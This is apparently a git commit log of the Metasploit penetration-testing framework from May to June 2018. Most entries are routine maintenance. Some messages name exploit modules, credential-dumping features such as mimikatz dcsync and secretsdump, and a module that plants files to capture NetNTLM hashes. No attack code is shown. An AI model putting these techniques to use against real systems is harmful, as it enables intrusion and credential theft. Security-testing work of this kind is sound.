2018-06-04 19:23:25 +01:00
rmdavy
4fcbb5d03d
Minor Code Updates
...
Minor Code Updates as per recommendations by Aaron Soto
2018-06-04 19:20:37 +01:00
Metasploit
9c7fd8abcc
automatic module_metadata_base.pstore update
2018-06-04 08:42:49 -07:00
Chris Higgins
78bcd57694
Land #10092 , Cleanup linux/local/recvmmsg_priv_esc
2018-06-04 10:32:35 -05:00
Brendan Coles
e1d69d6307
Cleanup pSnuffle
2018-06-04 15:27:20 +00:00
christopher lee
2cc73abf4e
merge master
2018-06-04 08:13:07 -05:00
Christopher Lee
45af0abf43
Merge pull request #27 from rapid7/master
...
merge master
2018-06-04 08:11:07 -05:00
Eliott Teissonniere
e9659adc6a
Fix audio_path display
2018-06-04 14:46:31 +08:00
Eliott Teissonniere
4adea66318
Fix quote usage
2018-06-04 14:46:30 +08:00
Eliott Teissonniere
4b2601bad3
Fix indentation and quote usage
2018-06-04 14:46:30 +08:00
Eliott Teissonniere
f31676074a
Print usage if audio_path is nil
2018-06-04 14:46:30 +08:00
Eliott T
ff1d579c6a
Cleanup module
2018-06-04 14:46:30 +08:00
Eliott Teissonniere
a5949f574e
Implement AudioOutput API
2018-06-04 14:46:30 +08:00
Brendan Coles
2c0c99e980
Add documentation
2018-06-03 05:41:53 +00:00
Brendan Coles
3bcc329c07
Add HID discoveryd command_blink_on Unauthenticated RCE exploit
2018-06-03 05:41:10 +00:00
Metasploit
f1701ecc93
automatic module_metadata_base.pstore update
2018-06-02 19:57:16 -07:00
Brent Cook
61a98b94b6
Land #9528 , WebKit apple safari trident exploit (CVE-2016-4657)
2018-06-02 21:52:52 -05:00
Brent Cook
742e7898f4
add documentation
2018-06-02 21:51:24 -05:00
Metasploit
135d4aa742
automatic module_metadata_base.pstore update
2018-06-02 12:40:43 -07:00
Brent Cook
20c9190aca
Land #10093 , Add Winsock2 API for Metasploit::Framework::Compiler::Windows
2018-06-02 14:35:21 -05:00
Brent Cook
24a6d5284b
Land #10121 , finish deprecating modules
2018-06-02 14:33:26 -05:00
Jeffrey Martin
df6e5cf435
updated targets and baseline mod_times
2018-06-01 19:37:35 -05:00
William Vu
b0392ae6ba
Land #10029 , msfvenom quality of life improvements
2018-06-01 18:35:11 -05:00
William Vu
f28c4fc01e
Address final review comments
2018-06-01 18:33:07 -05:00
James Barnett
d6eaa4a7c7
Search for creds at the query level
2018-06-01 17:00:56 -05:00
Aaron Soto
f424a7f50e
Moved/deleted documentation, as appropriate
2018-06-01 14:22:55 -05:00
James Barnett
c6a5a139ae
Look up the core object before creating a login
2018-06-01 12:54:48 -05:00
William Vu
4c019062a5
Land #10095 , tilde expansion for resource command
2018-06-01 12:27:01 -05:00
phra
e9db949418
refactor: replace last string with hash
2018-06-01 16:59:38 +02:00
phra
ae3e8dab78
chore: update references
2018-06-01 16:58:26 +02:00
phra
5649dd0598
refactor: use Hash.to_json instead of strings
2018-06-01 16:57:57 +02:00
g0tmi1k
5ba8467933
Updated code based on feedback...again
2018-06-01 12:55:37 +01:00
Green-m
cfb3c4d3ad
Ignore case when use tab to complete
2018-06-01 07:37:23 -04:00
rmdavy
061bb84a5a
Updated Code
...
Updated code with suggestions provided by bcoles
2018-06-01 11:13:40 +01:00
rmdavy
abe04edd10
Updated Multidrop Info
2018-06-01 11:12:22 +01:00
rmdavy
1a37289495
Updated Multidrop
...
Updated with changes suggested by bcoles
2018-06-01 11:09:55 +01:00
Green-m
71a1e2ad9c
Fix bug in function tab_complete_option
2018-06-01 04:10:32 -04:00
Matthew Kienow
41de44bfdc
Make resource file checks more robust
...
Correct code style
2018-05-31 21:26:24 -04:00
Matthew Kienow
706d8e5472
Add tilde expansion to resource tab completion
2018-05-31 21:09:57 -04:00
AlbertoCoding
96cd65a205
Added new whoami module and some fixes
2018-06-01 02:57:03 +02:00
root
6df8e28f7e
Some syntax fixes and name changes
2018-06-01 02:06:25 +02:00
James Barnett
8c1a4a8a20
Use the proxy for create_credential_login calls
2018-05-31 17:03:01 -05:00
Matthew Kienow
62e56ce844
Change condition-less elsif to else
2018-05-31 17:42:50 -04:00
James Barnett
d1e0bcf946
WIP: add endpoint for Credential::Login
2018-05-31 15:33:11 -05:00
christopher lee
9449a9231a
Fixed bugs and addressed review comments
2018-05-31 15:06:17 -05:00
Aaron Soto
2bf5e26bfe
Removed Deprecated include from udp_probe
2018-05-31 14:32:31 -05:00
Aaron Soto
918705d510
Removed deprecated modules: epmp1000_cmd_exec and cambium_snmp_loot
2018-05-31 14:31:58 -05:00
Nicholas Starke
53d9dc75d8
Adding npm component "marked" ReDoS module
...
This commit adds a module for the npm component
"marked" which exploits a Regular Expression
Denial of Service (ReDoS) vulnerability in the
"heading" regular expression. Also included
is the documentation markdown for this module.
2018-05-31 13:33:09 -05:00
Metasploit
044da6c254
Weekly dependency update
2018-05-31 10:08:47 -07:00
root
c9a4cc47f7
Initial upload of Vulnerateca Post-Exploitation Framework (VPEF)
2018-05-31 18:05:33 +02:00
christopher lee
f11c0d061d
merges master
2018-05-31 09:13:09 -05:00
Brendan Coles
9c14bddd93
Cleanup OSX local exploit modules
2018-05-31 12:26:33 +00:00
James Barnett
a8f19df4e6
Pass params through query string on creds GET
...
Also updated API docs to use correct params
2018-05-30 16:23:37 -05:00
Metasploit
a3ccf2ba90
automatic module_metadata_base.pstore update
2018-05-30 14:22:08 -07:00
Aaron Soto
829e1c306a
Land #10102 , SOCKS5 updates for BIND, parsing specs, refactoring
2018-05-30 16:15:53 -05:00
Metasploit
39679f6609
automatic module_metadata_base.pstore update
2018-05-30 13:44:23 -07:00
Adam Cammack
5e968529bf
Land #9976 , Store non-nil linux enum_network loot
2018-05-30 15:33:39 -05:00
Adam Cammack
435f965418
Use #include? over Regexps with plain strings
2018-05-30 15:32:04 -05:00
Metasploit
d49db5b16b
automatic module_metadata_base.pstore update
2018-05-30 13:28:50 -07:00
Adam Cammack
5cafd8908e
Always return empty file on EOF meterpreter read
2018-05-30 15:26:34 -05:00
bwatters-r7
1e57aa5a57
Land #9777 , Slui File Handler Hijack LPE
2018-05-30 15:22:12 -05:00
bwatters-r7
c4ae5d79f2
Code cleanup
2018-05-30 15:06:04 -05:00
rmdavy
f7457c848e
Multidrop Documentation
...
Documentation to accompany multidrop module
2018-05-30 18:12:49 +01:00
rmdavy
51a9fc4c55
Multidrop
...
Multidrop is a single module which can be used to create *.scf, *.url, *.lnk and desktop.ini files which contain a SMB/UNC link to a listener ready to capture NetNTLM hashes
2018-05-30 17:36:11 +01:00
Tim W
c0841ef0bf
set default payload
2018-05-30 18:04:22 +08:00
Tim W
2ec7f11b90
add binary
2018-05-30 18:02:17 +08:00
Tim W
df60c5bb6b
embed mettle within PhoenixNonce
2018-05-30 17:30:03 +08:00
Metasploit
36464fb20e
automatic module_metadata_base.pstore update
2018-05-29 21:13:13 -07:00
Brent Cook
224122f805
Land #10094 , Improve network interface support for LHOST
2018-05-29 23:07:55 -05:00
Brent Cook
e69c51132d
Land #10083 , Add Msf::Post::OSX::Priv mixin
2018-05-29 23:01:36 -05:00
Brent Cook
1987dcea56
Land #10096 , Re-add RHOSTS option to scanner mixin
2018-05-29 23:00:38 -05:00
Pedro Ribeiro
d77ee20fc7
Add fix for 7.3.0
2018-05-30 00:59:11 +03:00
Matthew Kienow
d78b743ade
Land #10054 , add MSF5 REST API documentation
2018-05-29 17:58:55 -04:00
Pedro Ribeiro
f1663afd53
Change patch level of vulnerable versions
2018-05-30 00:37:29 +03:00
Metasploit
7b768eb8e5
automatic module_metadata_base.pstore update
2018-05-29 14:28:17 -07:00
Aaron Soto
c8b2fc8a35
Land #9701 , Flexense HTTP Server DoS exploit
2018-05-29 16:19:59 -05:00
Aaron Soto
026b22d061
Refined packet sizes and counts, improved error messages
2018-05-29 16:09:27 -05:00
James Barnett
7bcf28440f
Merge branch 'local_api_docs' into remote_creds_data
2018-05-29 12:52:15 -05:00
James Barnett
44812852e2
Merge branch 'local_api_docs' of github.com:jbarnett-r7/metasploit-framework into local_api_docs
2018-05-29 12:33:30 -05:00
James Barnett
dfbff53e10
Update LICENSE file to include swagger-ui API docs
2018-05-29 12:31:35 -05:00
James Barnett
f8317d3ae2
Address code review comments
...
- Don't document unsupported session POST
- Hide unimplemented loot/id and session/id GET methods
- Fix URL for msf doc
- Add missing workspace parament to vuln-attempts
- Remove unneccessary code for hosting the doc UI
2018-05-29 12:24:53 -05:00
christopher lee
3948a0a62e
Use JSON instead of PSTORE for module metadata
2018-05-29 10:50:33 -05:00
Pedro Ribeiro
476030bbd6
Fix grep with proper Base64 support; IBM bug!
2018-05-29 18:49:52 +03:00
Pedro Ribeiro
a3c7ac830f
Fix typo in rand
2018-05-29 18:40:50 +03:00
James Barnett
acf4c2bd08
Merge branch 'master' into local_api_docs
2018-05-29 10:37:27 -05:00
actuated
b0d8e93e79
Added Teradata ODBC Login and SQL modules and documentation
2018-05-29 10:12:43 -05:00
Pedro Ribeiro
ac5718d24c
Fix whitespace
2018-05-29 15:02:36 +03:00
Pedro Ribeiro
809982b430
Make changes requested by bcoles
2018-05-29 14:48:57 +03:00
Pedro Ribeiro
56dd07639f
add vuln versions
2018-05-28 17:37:58 +03:00
Pedro Ribeiro
aaaa9c7508
Fix warnings from travis
2018-05-28 17:18:52 +03:00
Pedro Ribeiro
e126681814
Changed disclosure date
2018-05-28 17:08:48 +03:00
Pedro Ribeiro
cfb7d4c2fe
Add github url
2018-05-28 16:53:54 +03:00
Pedro Ribeiro
7db8183bc7
Create file for CVE-2018-1418
2018-05-28 16:39:10 +03:00
Pedro Ribeiro
a0eba07c20
Merge pull request #42 from rapid7/master
...
aaa
2018-05-28 16:32:24 +03:00
gushmazuko
e2160fa7e0
Update bypassuac_sluihijack.rb
2018-05-28 12:00:52 +02:00
gushmazuko
80d0b40207
Update bypassuac_sluihijack.rb
2018-05-28 11:34:13 +02:00
Spencer McIntyre
7ac8af03d2
Remove the LD_PRELOAD hook for proxychains
2018-05-27 17:12:06 -04:00
Spencer McIntyre
28d15a113f
Add the secretsdump impacket module and docs
2018-05-27 17:09:59 -04:00
Spencer McIntyre
95c811d7b3
Land #10105 , update the search command help menu
2018-05-27 16:33:27 -04:00
Spencer McIntyre
9fab2316c5
Add the wmiexec impacket module and documentation
2018-05-27 16:24:56 -04:00
Auxilus
d24607e1ea
add port to keywords
2018-05-27 22:41:34 +05:30
Spencer McIntyre
da2666581b
Alter the socks5 bind request handling
2018-05-26 19:51:14 -04:00
Brendan Coles
83fceba92f
Add documentation
2018-05-26 21:51:45 +00:00
Brendan Coles
0af5d44c42
Add glibc 'realpath()' Privilege Escalation exploit
2018-05-26 21:25:59 +00:00
Spencer McIntyre
c85cc9ad9e
Refactor SOCKS5 TcpRelay and add packet tests
2018-05-26 13:46:00 -04:00
Brendan Coles
88ecc2cd67
Land #10099 , fix nil error in HttpTrace when HTTP response is nil
...
Fix #10098
2018-05-26 08:22:33 +00:00
Christian Mehlmauer
f17140bdc3
fix nil error in HttpTrace
2018-05-26 10:04:26 +02:00
Spencer McIntyre
a21cc9c5bc
Refactor core dispatch methods and error handling
2018-05-25 20:14:03 -04:00
Spencer McIntyre
49341fc87d
Add credential authentication support to socks5
2018-05-25 20:14:03 -04:00
Spencer McIntyre
9b5ae34896
Drop udp associate support and cleanup logging
2018-05-25 20:14:03 -04:00
Spencer McIntyre
1de5a464e7
Fix reply status codes and domainname addresses
2018-05-25 20:14:03 -04:00
Spencer McIntyre
6859856101
Refactor the socks5 code into multiple files
2018-05-25 20:14:03 -04:00
Spencer McIntyre
7f9fe971cb
Add initial udp associate support
2018-05-25 20:14:03 -04:00
Spencer McIntyre
04bec0bdf0
Progress on the socks5 proxy module
2018-05-25 20:14:02 -04:00
Spencer McIntyre
6fa0831bcb
Start the socks5 backend
2018-05-25 20:14:02 -04:00
James Barnett
a595dff6a8
Add remote creds update
2018-05-25 16:02:25 -05:00
Ege Balcı
3ab7526786
Name & description Change
...
Exploit::CheckCode changed to Unknown as suggested.
2018-05-25 20:22:51 +03:00
Ege Balcı
e52b065b26
Manual rewritten for flexense_http_server_dos
2018-05-25 20:18:54 +03:00
Brent Cook
835281c7cc
Land #9979 , Add inactive list option to sessions command
2018-05-25 03:28:22 -05:00
Metasploit
769dc23b67
automatic module_metadata_base.pstore update
2018-05-25 01:11:33 -07:00
Brent Cook
81673c37da
Land #10088 , Fix session event when connected to remote data service
2018-05-25 03:00:51 -05:00
Brent Cook
fad5a99c7d
fix incorrect disclosure date
2018-05-25 02:59:08 -05:00
Brendan Coles
4df01da49a
Add GTFOBins
2018-05-25 04:20:25 +00:00
Brent Cook
770b9fa209
add RHOSTS common option to nmap and scanner mixins
2018-05-24 21:31:36 -05:00
Brent Cook
c18c91ebcd
Add RHOSTS general option to Opt module
2018-05-24 21:31:36 -05:00
Matthew Kienow
3d6d55e087
Expand tilde in resource file pathname
2018-05-24 21:06:57 -04:00
William Vu
ebf20204ca
Refactor return value for normalize
2018-05-24 18:49:36 -05:00
William Vu
3343bc3aeb
Add note about interface to LHOST description
2018-05-24 18:39:02 -05:00
William Vu
3865858114
Support IPv6 by interface
...
I do believe the list is already sorted IPv4 first.
2018-05-24 18:18:03 -05:00
William Vu
51a84fbe66
Fix regression in option validation
...
Option validation relied on the value being false, not nil, even though
normalizing a string to a Boolean doesn't make sense. Normalizing to an
empty string seems to work fine.
2018-05-24 18:15:34 -05:00
William Vu
74669eca80
Revert nil to false because of select
...
Oops.
2018-05-24 16:53:46 -05:00
William Vu
9148ab4bb2
Refactor OptAddressLocal logic
...
@bcoles +1
2018-05-24 16:05:24 -05:00
William Vu
6f1e75e097
Remove loopback restriction
...
It's occasionally useful, and we already warn when setting it.
2018-05-24 15:44:32 -05:00
William Vu
a370270e19
Add tab completion for network interfaces
2018-05-24 15:30:16 -05:00
William Vu
388d1b646b
Add OptAddressLocal#interfaces
2018-05-24 15:30:09 -05:00
William Vu
da3df23f03
Fix Socket#getifaddrs with ::
...
Rex::Socket#getifaddrs doesn't exist.
2018-05-24 14:53:41 -05:00
James Barnett
3e1a5f7b1a
Merge branch 'local_api_docs' into remote_creds_data
2018-05-24 14:46:43 -05:00
Brendan Coles
651fb69585
Cleanup linux/local/recvmmsg_priv_esc module
2018-05-24 17:56:07 +00:00
Metasploit
a08aa09b96
Weekly dependency update
2018-05-24 10:06:22 -07:00
Wei Chen
cab2daf4ed
Add Winsock2 API for Metasploit::Framework::Compiler::Windows
2018-05-24 11:57:41 -05:00
jbarnett-r7
59e084aa46
Remote local version of remote data service help
2018-05-24 11:07:37 -05:00
Auxilus
72fb51f877
add extra check for failed command outputs
2018-05-24 20:47:06 +05:30
rmdavy
affa0bdc6f
Minor Update
...
Removed Unused Comment
2018-05-24 13:45:08 +01:00
rmdavy
050b52cf91
badodt documentation
...
Documentation of how to use badodt
2018-05-24 11:49:33 +01:00
rmdavy
7143f04ea7
Add files via upload
...
Updated to use recommended method of creating zip files
2018-05-24 09:53:53 +01:00
rmdavy
e82cb8351f
Add files via upload
...
New Location for files needed to build badodt file
2018-05-24 09:45:38 +01:00
rmdavy
04a27e0221
Delete thumbnail.png
...
Moved folder location
2018-05-24 09:37:45 +01:00
rmdavy
81c4e9f7b9
Delete styles.xml
...
Moved folder location
2018-05-24 09:37:31 +01:00
rmdavy
73bfe1c9ab
Delete settings.xml
...
Moved folder location
2018-05-24 09:37:18 +01:00
rmdavy
247904746c
Delete meta.xml
...
Moved folder location
2018-05-24 09:37:04 +01:00
rmdavy
f9bda873d2
Delete manifest.xml
...
Moved folder location
2018-05-24 09:36:55 +01:00
rmdavy
5002eae655
Delete manifest.rdf
...
Moved folder location
2018-05-24 09:36:45 +01:00
rmdavy
02afeb3e29
Delete content.xml
...
Moved folder location
2018-05-24 09:36:35 +01:00
g0tmi1k
24d92b1a8f
Updated code based on feedback
2018-05-24 07:34:19 +01:00
Metasploit
f5c796e4fc
automatic module_metadata_base.pstore update
2018-05-23 15:46:55 -07:00
Brent Cook
86a5b951aa
Land #9990 , add SOCKS5 proxy support
2018-05-23 17:31:09 -05:00
Matthew Kienow
add51a6741
Remove OpenStruct
2018-05-23 18:05:48 -04:00
James Barnett
a107336ad5
Move cred delete to DBManager
2018-05-23 16:47:56 -05:00
Matthew Kienow
7ec5c06738
Change kind_of? to is_a?
2018-05-23 17:40:52 -04:00
Metasploit
9c8b619548
automatic module_metadata_base.pstore update
2018-05-23 12:21:34 -07:00
Brent Cook
0d55268b57
Land #10087 , remove unused option from applocker bypass
2018-05-23 14:14:40 -05:00
Matthew Kienow
2c92e85494
Fix report_session_event with remote data service
...
Modify DBManager method to allow session ID retrieval from a Hash
2018-05-23 15:05:22 -04:00
Brent Cook
bc5c7a15e5
remove single-entry OptEnum from module, since there is only one possible TECHNIQUE
2018-05-23 13:44:53 -05:00
Brent Cook
f32020f255
include some training wheels for users
2018-05-23 13:37:53 -05:00
bwatters-r7
77403479f5
code cleanup
2018-05-23 12:53:48 -05:00
g0tmi1k
4189819eaf
Removing "--"
2018-05-23 18:26:01 +01:00
James Barnett
f782cac3ff
Require swagger-blocks in dev and test
2018-05-23 12:23:43 -05:00
Brent Cook
c9dad7d7c4
unify api usage
2018-05-23 12:12:27 -05:00
Brent Cook
c8b54cef22
add inline datastore parsing to aux/post modules
2018-05-23 12:12:27 -05:00
Brent Cook
fbbfa0e0c3
teach exploit how to parse datastore options too
2018-05-23 12:12:27 -05:00
James Barnett
8acc6daf9b
Add doc for running the remote data service
2018-05-23 11:54:57 -05:00
Brent Cook
d8e5cc60bb
add inline datastore setting for msfvenom/generate commands
2018-05-23 11:48:11 -05:00
Brent Cook
c52e96bfa7
swizzle parameters in generate to match msfvenom
2018-05-23 11:48:11 -05:00
Metasploit
c962ede478
automatic module_metadata_base.pstore update
2018-05-23 09:47:40 -07:00
Brent Cook
5b3cca3082
Land #10084 , Mark all versions of telpho10 as vulnerable
2018-05-23 11:41:26 -05:00
James Barnett
b83ee106f7
Merge branch 'master' into local_api_docs
2018-05-23 10:06:12 -05:00
gushmazuko
3ef6f82894
Update bypassuac_sluihijack.rb
2018-05-23 12:25:49 +02:00
Jan Rude
567e2dbc7e
Update telpho10_credential_dump.rb
...
Current version still vulnerable, developer ignores mails. It seems like this is going to be a 'won´t fix'
2018-05-23 09:32:41 +02:00
Aaron Soto
8a72e7181a
Added username/password-based authentication
2018-05-22 20:42:23 -05:00
Aaron Soto
72efe66403
Refactored for better logging, IPv6 support, and prep for auth
2018-05-22 18:57:00 -05:00
Brendan Coles
45481f26b6
Add Msf::Post::OSX::Priv mixin
2018-05-22 22:25:39 +00:00
William Vu
70236c6424
Land #10081 , unnecessary class definition fix
2018-05-22 17:25:17 -05:00
Metasploit
111536bf49
automatic module_metadata_base.pstore update
2018-05-22 15:14:26 -07:00
James Barnett
0472b9df3f
Land #10024 , Fix find_or_create_* methods for remote data service
...
This PR updates the find_or_create_* methods associated with each model to
no longer just proxy to the report_* model. It now performs a lookup through
the DataProxy and returns the found object if it exists, or creates a new
record if needed.
2018-05-22 17:08:46 -05:00
Metasploit
f18df1ae32
automatic module_metadata_base.pstore update
2018-05-22 14:57:43 -07:00
Brendan Coles
15e472637a
Land #10070 , Fix cleanup in exploits/osx/local/rootpipe_entitlements
2018-05-22 21:52:24 +00:00
Metasploit
791ad9feb4
automatic module_metadata_base.pstore update
2018-05-22 14:32:16 -07:00
Brendan Coles
b14e354b25
Land #10048 , Make shell and meterpreter sessions consistent with cmd_exec
2018-05-22 21:26:47 +00:00
James Barnett
7d7f405234
Describe ALL the attributes!
2018-05-22 14:57:21 -05:00
Matthew Kienow
cf8d0bd172
Remove unnecessary class declaration
2018-05-22 12:25:04 -04:00
bwatters-r7
0fd5a8afbd
Land #10071 , return PLUGIN_DESCRIPTION instead of actual string
...
Merge branch 'land-10071' into upstream-master
2018-05-22 11:09:41 -05:00
Metasploit
8ba69f2d10
automatic module_metadata_base.pstore update
2018-05-22 09:00:23 -07:00
bwatters-r7
40d5f46277
Lad #10017 , D-Link DSL-2750B Unauthenticated OS Command Injection
...
Merge branch 'land-10017' into upstream-master
2018-05-22 10:54:33 -05:00
lucyoa
6cc1a8dcbd
Rubocop fixes
2018-05-22 10:34:05 -04:00
Metasploit
b73947c032
automatic module_metadata_base.pstore update
2018-05-21 16:08:05 -07:00
Jeffrey Martin
07fbbca9f4
Land #10074 , Fixed bug in module cache
2018-05-21 18:01:46 -05:00
Brendan Coles
47caa7dddd
Land #10073 , Add /etc/group to data/wordlists/sensitive_files.txt
2018-05-21 21:39:09 +00:00
Matthew Kienow
4ecc1ff551
Modify loots, notes and services search methods
...
Modify loots and services method signatures. Remove workspace as a
positional argument, move into opts hash argument and update callers.
Made host search for these models more uniform. Update find_or_create
methods to handle difference in opts between find and report
operations.
2018-05-21 17:37:51 -04:00
phra
6d4ad57beb
refactor: use Rex built-in encoders
2018-05-21 22:14:39 +02:00
bwatters-r7
75562e2bbc
Land #10044 , Fix is_system? in Msf::Post::Windows::Priv for non-English
...
Merge branch 'land-10044' into upstream-master
2018-05-21 14:24:26 -05:00
christopher lee
1b7e613080
Fixed bug in module cache
2018-05-21 14:18:43 -05:00
Christopher Lee
2cbdc40f7d
Merge pull request #26 from rapid7/master
...
merge master
2018-05-21 14:16:37 -05:00
James Barnett
e4038af79e
Merge branch 'master' into local_api_docs
2018-05-21 13:44:34 -05:00
Kevin Kirsche
93e9c96a1c
Adjust link / name ordering to be alphabetical by key (not sorted by value)
2018-05-21 14:42:13 -04:00
follower
57bb7fd819
Add correct filename for /etc/group
...
AFAICT the correct filename is the singular form `group` not `groups` (e.g. [see](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/Introduction_To_System_Administration/s3-acctspgrps-group.html ) & [see](https://linux.die.net/man/5/group )).
Rather than just correcting the filename in place I'm adding the correct form because when even [official Red Hat documentation](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.3_release_notes/bug_fixes_authentication_and_interoperability#idm140113937457168 ) sometimes gets it wrong, maybe one day someone will get lucky with the misspelling.
2018-05-22 00:12:20 +12:00
Tim W
88ab836e15
Land #9987 , AF_PACKET chocobo_root exploit
2018-05-21 17:05:53 +08:00
Brent Cook
db0f30d375
Land #10072 , update kiwi plugin, add dcsync, dcshadow, and powershell streaming support
2018-05-21 04:03:36 -05:00
Brendan Coles
12002a4a2a
Merge pull request #6 from timwr/pr-9987
...
Fix gcc path and file cleanup
2018-05-21 18:51:26 +10:00
Tim W
9e9dff8b6a
fix file cleanup on failed exploitation
2018-05-21 16:47:09 +08:00
Tim W
cd0161ada2
fix gcc for shell_reverse_tcp payloads on ubuntu
2018-05-21 16:46:42 +08:00
Brent Cook
134ed389a9
update kiwi plugin, add dcshadow and powershell streaming support
...
This does a few things:
1. Updates the kiwi plugin to mimikatz 2.1.1 20180502
2. Adds ability to dcsync & hashdump via Powershell
3. Adds streaming support to powershell commands (no more timeouts)
It also adds the following powershell functions to make things more
convenient:
* Invoke-DcSync
* Invoke-DcSyncAll
* Invoke-DcSyncHashDump
See https://github.com/rapid7/metasploit-payloads/pull/284 for details
2018-05-21 03:22:05 -05:00
Auxilus
95ad075d97
Update nessus.rb
2018-05-21 09:08:17 +05:30
Auxilus
d0941e847b
return PLUGIN_DESCRIPTION instead of actual string
2018-05-21 09:06:00 +05:30
lucyoa
6ae55aadd4
Fixing documentation, improving exploits code
2018-05-20 12:55:46 -04:00
Brendan Coles
aa033bf5c1
Fix cleanup
2018-05-20 16:19:25 +00:00
Kevin Kirsche
c665a32eb9
Add privileged and fix PayloadType hash style
2018-05-19 19:06:50 -04:00
rmdavy
ef229111c8
Delete readme.txt
2018-05-19 16:58:45 +01:00
rmdavy
5d3c95e51b
Create badodt
2018-05-19 16:58:14 +01:00
rmdavy
a0d8f70dee
Create readme.txt
2018-05-19 16:57:40 +01:00
rmdavy
077a7c7c9e
Delete test.txt
2018-05-19 16:57:07 +01:00
rmdavy
018a8a3060
Create test.txt
2018-05-19 16:56:49 +01:00
rmdavy
622bc272fb
Delete odt
2018-05-19 16:56:30 +01:00
rmdavy
b293ddfe5d
Create odt
2018-05-19 16:56:10 +01:00
phra
c9ab44234a
refactor: remove predefined cmd stager flavor, increase linemax
2018-05-19 15:55:11 +02:00
Kevin Kirsche
f2549a1a83
Make domain name conditional
2018-05-19 09:53:06 -04:00
phra
d239fb17db
refactor: update code as requested
2018-05-19 15:50:10 +02:00
Kevin Kirsche
d9d226376c
Fix missing comma
2018-05-19 09:23:23 -04:00
Kevin Kirsche
4bf259e767
Add github and EDB ID number
2018-05-19 09:04:18 -04:00
Kevin Kirsche
b0f556639f
Change rand text length and remove disable nops
2018-05-19 09:02:00 -04:00
phra
8a1cb1e560
fix: fix indentation
2018-05-19 03:27:35 +02:00
phra
5d37451dc8
fix: use print_error instead of puts
2018-05-19 03:26:49 +02:00
phra
b010d23427
exploits: add CVE-2018-1000049 exploit module, fixes #10063
2018-05-19 03:10:06 +02:00
Clément Notin
a8fcd9d275
Fix display of uid in post/windows/gather/win_privs
...
`inspect` is not necessary and triggers display of Unicode characters as "\x.." instead of printing their value.
As discussed in PR #10044
2018-05-19 01:35:19 +02:00
bwatters-r7
294b263159
Land #9966 , Add Reliable Datagram Sockets (RDS) Privilege Escalation exploit
...
Merge branch 'land-9966' into upstream-master
2018-05-18 17:06:04 -05:00
Touhid M Shaikh
12457d14f7
vTiger CRM v6.3.0 (CVE:2015-6000,CVE:2016-1713)
...
an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
2018-05-19 01:13:10 +05:30
Kevin Kirsche
6d0c6a7051
Randomize the starting letter
2018-05-18 15:14:40 -04:00
Kevin Kirsche
1efa5c4061
Move to PayloadType instead of Compat
2018-05-18 14:55:33 -04:00
Kevin Kirsche
599979be37
Add AKA and remove filename
2018-05-18 14:49:12 -04:00
Kevin Kirsche
0951aca881
Fix require that’s included by mixin
2018-05-18 13:31:20 -04:00
Kevin Kirsche
35ee1b5fa1
Use https instead of http in the comments
2018-05-18 13:10:47 -04:00
Kevin Kirsche
8f0242344d
Fix style to use curly braces instead of pipes
2018-05-18 13:06:38 -04:00
Kevin Kirsche
f1b9088609
Fix msf/core include requirement
...
```
modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb - [WARNING] Explicitly requiring/loading msf/core is not necessary
```
removes `require msf/core`
2018-05-18 13:04:55 -04:00
Kevin Kirsche
164f3ef48d
Add CVE-2018-1111 exploit
2018-05-18 12:47:08 -04:00
Brent Cook
7af7587519
Land #9999 , Optionally test empty group in cisco_ssl_vpn
2018-05-18 10:57:15 -05:00
Brent Cook
37f1e44a12
Land #10009 , Add initial check support to external modules
2018-05-18 09:31:31 -05:00
Brendan Coles
6858a1caf9
Add compilation instructions to documentation
2018-05-18 22:10:47 +10:00
Brent Cook
985807cc4e
Land #10053 , add additional headers
2018-05-17 21:21:55 -05:00
Brent Cook
eadb464a75
add licenses
2018-05-17 21:21:37 -05:00
James Barnett
132313ef34
Minor updates across all API docs.
2018-05-17 16:56:22 -05:00
Wei Chen
e5c763f6bf
Add support for stdio.h, stdlib.h, and String.h
2018-05-17 14:40:49 -05:00
Brendan Coles
eb3733ffb4
unless
2018-05-17 17:42:55 +00:00
Metasploit
ee805fd1ff
Weekly dependency update
2018-05-17 10:05:37 -07:00
Matthew Kienow
6b1113d38d
Fix incorrect rescue argument
2018-05-17 12:46:41 -04:00
James Barnett
94b32a3888
Workspace API Doc second pass
2018-05-17 11:22:43 -05:00
William Vu
9ad31bf70f
Land #10037 , warning for Mettle stage encoding
2018-05-17 11:01:01 -05:00
William Vu
1d6fae5db6
Drop "currently," since we're including stageless
2018-05-17 10:30:43 -05:00
William Vu
0cd085fb8b
Try a better way with MettleConfig
...
This will obviously affect stageless payloads, but that's okay, since
there's no stage! Thanks to @mkienow-r7 for the nudge. <3
2018-05-17 10:14:52 -05:00
Aaron Soto
0b6c307c34
Land #10002 , Add password reporting API to external modules
2018-05-17 09:04:05 -05:00
Tim W
b16ef410b3
Land #10049 , fix docs for android/gather/wireless_ap
2018-05-17 21:20:47 +08:00
Tim W
91d0b0be12
fix documentation for android/gather/wireless_ap
2018-05-17 21:17:00 +08:00
Brent Cook
520b8bc3c0
remove many duplicate code paths
2018-05-17 08:14:32 -05:00
Metasploit
df2db44cb6
automatic module_metadata_base.pstore update
2018-05-17 06:11:43 -07:00
Tim W
a3879f0109
Land #9956 , add module to extract wireless credentials on Android
2018-05-17 21:04:56 +08:00
Tim W
75ab69b4c4
minor documentation update
2018-05-17 21:03:12 +08:00
Brent Cook
9eb5700fcb
Make shell and meterpreter sessions consistent with cmd_exec
...
There's no need for different calls in modules, let's remove the need
for cargo culting (if there was one to begin with).
2018-05-17 08:02:34 -05:00
Metasploit
9b3b9319b9
automatic module_metadata_base.pstore update
2018-05-17 05:47:51 -07:00
Brent Cook
5c3cb097fb
Land #10047 , remove invalid timeout argument on cmd_exec
2018-05-17 07:41:14 -05:00
Brent Cook
406f1fe165
fix #10046 , remove invalid timeout argument on cmd_exec
2018-05-17 07:38:22 -05:00
Metasploit
937f566728
automatic module_metadata_base.pstore update
2018-05-17 04:01:41 -07:00
Tim W
6594cbb5cc
Land #9947 , AF_PACKET packet_set_ring exploit
2018-05-17 18:43:52 +08:00
Tim W
dc227153c4
fix gcc on shell_reverse_tcp session
2018-05-17 18:43:27 +08:00
Brendan Coles
4322e56c71
Recompile pre-compiled exploit executable (stripped, no DEBUG)
2018-05-17 09:43:07 +00:00
Clément Notin
79527809e2
Fix is_system? in Msf::Post::Windows::Priv for non-English systems
...
Switch to comparing the SID string, instead of comparing the resolved user name
2018-05-17 10:08:56 +02:00
Auxilus
5bd6193ea7
Update wireless_ap.md
